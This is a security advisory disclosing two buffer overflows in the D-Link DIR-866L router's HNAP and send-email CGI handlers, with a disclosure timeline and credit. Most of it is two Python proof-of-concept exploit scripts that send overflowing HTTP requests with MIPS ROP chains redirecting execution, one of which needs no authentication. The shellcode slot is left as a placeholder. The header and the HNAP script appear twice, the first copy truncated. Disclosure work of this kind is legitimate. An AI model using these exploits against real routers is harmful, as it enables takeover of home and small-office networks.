Title: DIR-866L Buffer overflows in HNAP and send email functionalities
Vendors contacted: William Brown <william.brown (at) dlink (dot) com [email concealed]>, Patrick Cline patrick.cline (at) dlink (dot) com [email concealed](Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10
060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10
061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR866L -- AC1750 Wi-Fi Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 2 security issue in DIR866L firmware which allows an attacker on wireless LAN to exploit buffer overflow vulnerabilities in hnap and send email functionalities. An attacker needs to be on wireless LAN or management interface needs to be exposed on Internet to exploit HNAP vulnerability but it requires no authentication. The send email buffer overflow does require the attacker to be on wireless LAN or requires to trick administrator to exploit using XSRF.
# Observe this in a emulator/debugger or real device/debugger
buf = "POST /hnap.cgi HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 13\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings\r\nHNAP
_AUTH: test\r\nCookie: unsupportedbrowser=1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
buf+="FFFF"
buf+=struct.pack(">I",0x2abfc9f4) # s0 ROP 2 which loads S2 with sleep address
buf+="\x2A\xBF\xB9\xF4" #s1 useless
buf+=struct.pack(">I",0x2ac14c30) # s2 Sleep address
buf+="DDDD" #s3
buf+=struct.pack(">I",0x2ac0fb50) # s4 ROP 4 finally loads the stack pointer into PC
buf+=struct.pack(">I",0x2ac0cacc) # retn Loads s0 with ROP2 and ao with 2 for sleep
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGG" #This is the padding as SP is added with 32 bytes in ROP 1
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGG" # This is the padding as SP is added with 36 bytes in ROP 2
buf+=struct.pack(">I",0x2abcebd0) # This is the ROP 3 which loads S4 with address of ROP 4 and then loads S2 with stack pointer address
buf+="GGGGGGGGGGGGGGGG"
buf+="AAAAAAAAAAAAAAAAAAAAA" # Needs a proper shell code Bad chars 1,0 in the first bit of hex byte so 1x or 0x
buf+="GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJ\r\n\r\n"+"test=test\r\n\r\n"
# Bad chars \x00 - \x20
# sleep address 2ac14c30
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley (samhuntley84 (at) gmail (dot) com [email concealed]).
Title: DIR-866L Buffer overflows in HNAP and send email functionalities
Vendors contacted: William Brown <william.brown (at) dlink (dot) com [email concealed]>, Patrick Cline patrick.cline (at) dlink (dot) com [email concealed](Dlink)
CVE: None
Note: All these security issues have been discussed with the vendor and vendor indicated that they have fixed issues as per the email communication. The vendor had also released the information on their security advisory pages http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10
060,
http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10
061
However, the vendor has taken now the security advisory pages down and hence the information needs to be publicly accessible so that users using these devices can update the router firmwares.The author (Samuel Huntley) releasing this finding is not responsible for anyone using this information for malicious purposes.
## Product Description
DIR866L -- AC1750 Wi-Fi Router. Mainly used by home and small offices.
## Vulnerabilities Summary
Have come across 2 security issue in DIR866L firmware which allows an attacker on wireless LAN to exploit buffer overflow vulnerabilities in hnap and send email functionalities. An attacker needs to be on wireless LAN or management interface needs to be exposed on Internet to exploit HNAP vulnerability but it requires no authentication. The send email buffer overflow does require the attacker to be on wireless LAN or requires to trick administrator to exploit using XSRF.
## Details
HNAP buffer overflow
------------------------------------------------------------------------
----------------------------------------------
import socket
import struct
import string
import sys
BUFFER_SIZE = 2048
# Observe this in a emulator/debugger or real device/debugger
buf = "POST /hnap.cgi HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\nContent-Length: 13\r\nSOAPAction:http://purenetworks.com/HNAP1/GetDeviceSettings\r\nHNAP
_AUTH: test\r\nCookie: unsupportedbrowser=1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEE"
buf+="FFFF"
buf+=struct.pack(">I",0x2abfc9f4) # s0 ROP 2 which loads S2 with sleep address
buf+="\x2A\xBF\xB9\xF4" #s1 useless
buf+=struct.pack(">I",0x2ac14c30) # s2 Sleep address
buf+="DDDD" #s3
buf+=struct.pack(">I",0x2ac0fb50) # s4 ROP 4 finally loads the stack pointer into PC
buf+=struct.pack(">I",0x2ac0cacc) # retn Loads s0 with ROP2 and ao with 2 for sleep
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGG" #This is the padding as SP is added with 32 bytes in ROP 1
buf+="XXXXFFFFFFFFFFFFFFFFFFFFGGGGGGGGGGGG" # This is the padding as SP is added with 36 bytes in ROP 2
buf+=struct.pack(">I",0x2abcebd0) # This is the ROP 3 which loads S4 with address of ROP 4 and then loads S2 with stack pointer address
buf+="GGGGGGGGGGGGGGGG"
buf+="AAAAAAAAAAAAAAAAAAAAA" # Needs a proper shell code Bad chars 1,0 in the first bit of hex byte so 1x or 0x
buf+="GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHHHHHHHHHHHHHHHH
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHIIIIIIIIIIIIII
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIJJJJJJJJJJJJ
JJJJJJJJJJJJJJJJJJJJ\r\n\r\n"+"test=test\r\n\r\n"
# Bad chars \x00 - \x20
# sleep address 2ac14c30
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data
------------------------------------------------------------------------
----------------------------------------------
# Send email buffer overflow
------------------------------------------------------------------------
----------------------------------------------
import socket
import struct
import string
import sys
BUFFER_SIZE = 2048
# Observe this in a emulator/debugger or real device/debugger
buf = "GET /send_log_email.cgi?test=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
buf+="1111" #s0 Loaded argument in S0 which is loaded in a0
buf+=struct.pack(">I",0x2ac14c30) #s4 Sleep address 0x2ac14c30
buf+="XXXX"
buf+="FFFF" # s3
buf+="XXXX"
buf+="BBBB" # s5
buf+="CCCC" # s6
buf+="DDDD" # s7
buf+="DDDD" # extra pad
buf+=struct.pack(">I",0x2ABE94B8) # Retn address 2ABE94B8 ROP1
buf+="EEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" #
buf+="EEEBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB" #
buf+="XXXX" #
buf+="BBBBBBBBBBBBBBBB" #16 bytes before shellcode
buf+="CCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAA HTTP/1.1\r\nHOST: 10.0.0.90\r\nUser-Agent: test\r\n\r\n"
print "[+] sending buffer size", len(buf)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
s.send(buf)
data = s.recv(BUFFER_SIZE)
s.close()
print "received data:", data
------------------------------------------------------------------------
----------------------------------------------
## Report Timeline
* April 26, 2015: Vulnerability found by Samuel Huntley and reported to William Brown and Patrick Cline.
* July 17, 2015: Vulnerability was fixed by Dlink as per the email sent by the vendor
* Nov 13, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Samuel Huntley (samhuntley84 (at) gmail (dot) com [email concealed]).
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